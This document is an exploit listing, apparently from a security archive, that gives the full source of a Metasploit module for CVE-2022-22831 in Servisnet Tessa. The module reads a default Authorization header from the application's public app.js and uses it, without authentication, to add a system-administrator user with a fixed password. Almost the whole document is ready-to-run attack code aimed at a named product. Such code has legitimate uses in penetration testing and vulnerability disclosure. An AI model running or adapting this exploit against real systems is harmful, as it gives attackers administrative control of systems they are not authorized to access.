Servisnet Tessa Authentication Bypass

This Metasploit module exploits an authentication bypass in Servisnet Tessa, triggered by add new sysadmin user. The app.js is publicly available which acts as the backend of the application. By exposing a default value for the "Authorization" HTTP header, it is possible to make unauthenticated requests to some areas of the application. Even MQTT (Message Queuing Telemetry Transport) protocol connection information can be obtained with this method. A new admin user can be added to the database with this header obtained in the source code.


MD5 | 8d8e26f7275c194bbe0fe7d87cf1a05a

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Servisnet Tessa - Add sysAdmin User (Unauthenticated) (Metasploit)',
'Description' => %q(
This module exploits an authentication bypass in Servisnet Tessa, triggered by add new sysadmin user.
The app.js is publicly available which acts as the backend of the application.
By exposing a default value for the "Authorization" HTTP header,
it is possible to make unauthenticated requests to some areas of the application.
Even MQTT(Message Queuing Telemetry Transport) protocol connection information can be obtained with this method.
A new admin user can be added to the database with this header obtained in the source code.

),
'References' =>
[
[ 'CVE', 'CVE-2022-22831' ],
[ 'URL', 'https://www.pentest.com.tr/exploits/Servisnet-Tessa-Add-sysAdmin-User-Unauthenticated.html' ],
[ 'URL', 'http://www.servisnet.com.tr/en/page/products' ]
],
'Author' =>
[
'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Dec 22 2021",
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true
}
))

register_options([
OptString.new('TARGETURI', [true, 'Base path for application', '/'])
])
end
# split strings to salt
def split(data, string_to_split)
word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/)
string = word.split('"]').join('').split('["').join('')
return string
end
# for Origin and Referer headers

def app_path
res = send_request_cgi({
# default.a.get( check
'uri' => normalize_uri(target_uri.path, 'js', 'app.js'),
'method' => 'GET'
})

if res && res.code == 200 && res.body =~ /baseURL/
data = res.body
#word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/)
base_url = data.scan(/baseURL: '\/([\S\s]*?)'/)[0]
print_status("baseURL: #{base_url}")
return base_url
else
fail_with(Failure::NotVulnerable, 'baseURL not found!')
end
end

def add_user
token = auth_bypass
newuser = Rex::Text.rand_text_alpha_lower(8)
id = Rex::Text.rand_text_numeric(4)
# encrypted password hxZ8I33nmy9PZNhYhms/Dg== / 1111111111
json_data = '{"alarm_request": 1, "city_id": null, "city_name": null, "decryptPassword": null, "email": "' + newuser + '@localhost.local", "id": ' + id + ', "invisible": 0, "isactive": 1, "isblocked": 0, "levelstatus": 1, "local_authorization": 1, "mail_request": 1, "name": "' + newuser + '", "password": "hxZ8I33nmy9PZNhYhms/Dg==", "phone": null, "position": null, "region_name": "test4", "regional_id": 0, "role_id": 1, "role_name": "Sistem Admin", "rolelevel": 3, "status": null, "surname": "' + newuser + '", "totalRecords": null, "try_pass_right": 0, "userip": null, "username": "' + newuser + '", "userType": "Lokal Kullanıcı"}'

res = send_request_cgi(
{
'method' => 'POST',
'ctype' => 'application/json',
'uri' => normalize_uri(target_uri.path, app_path, 'users'),
'headers' =>
{
'Authorization' => token
},
'data' => json_data
})

if res && res.code == 200 && res.body =~ /localhost/
print_good("The sysAdmin authorized user has been successfully added.")
print_status("Username: #{newuser}")
print_status("Password: 1111111111")
else
fail_with(Failure::NotVulnerable, 'An error occurred while adding the user. Try again.')
end
end

def auth_bypass

res = send_request_cgi({
# default.a.defaults.headers.post["Authorization"] check
'uri' => normalize_uri(target_uri.path, 'js', 'app.js'),
'method' => 'GET'
})

if res && res.code == 200 && res.body =~ /default.a.defaults.headers.post/
token = split(res.body, 'Authorization')
print_status("Authorization: #{token}")
return token
else
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end

end

def check

if auth_bypass =~ /Basic/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

def run
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
add_user
end
end


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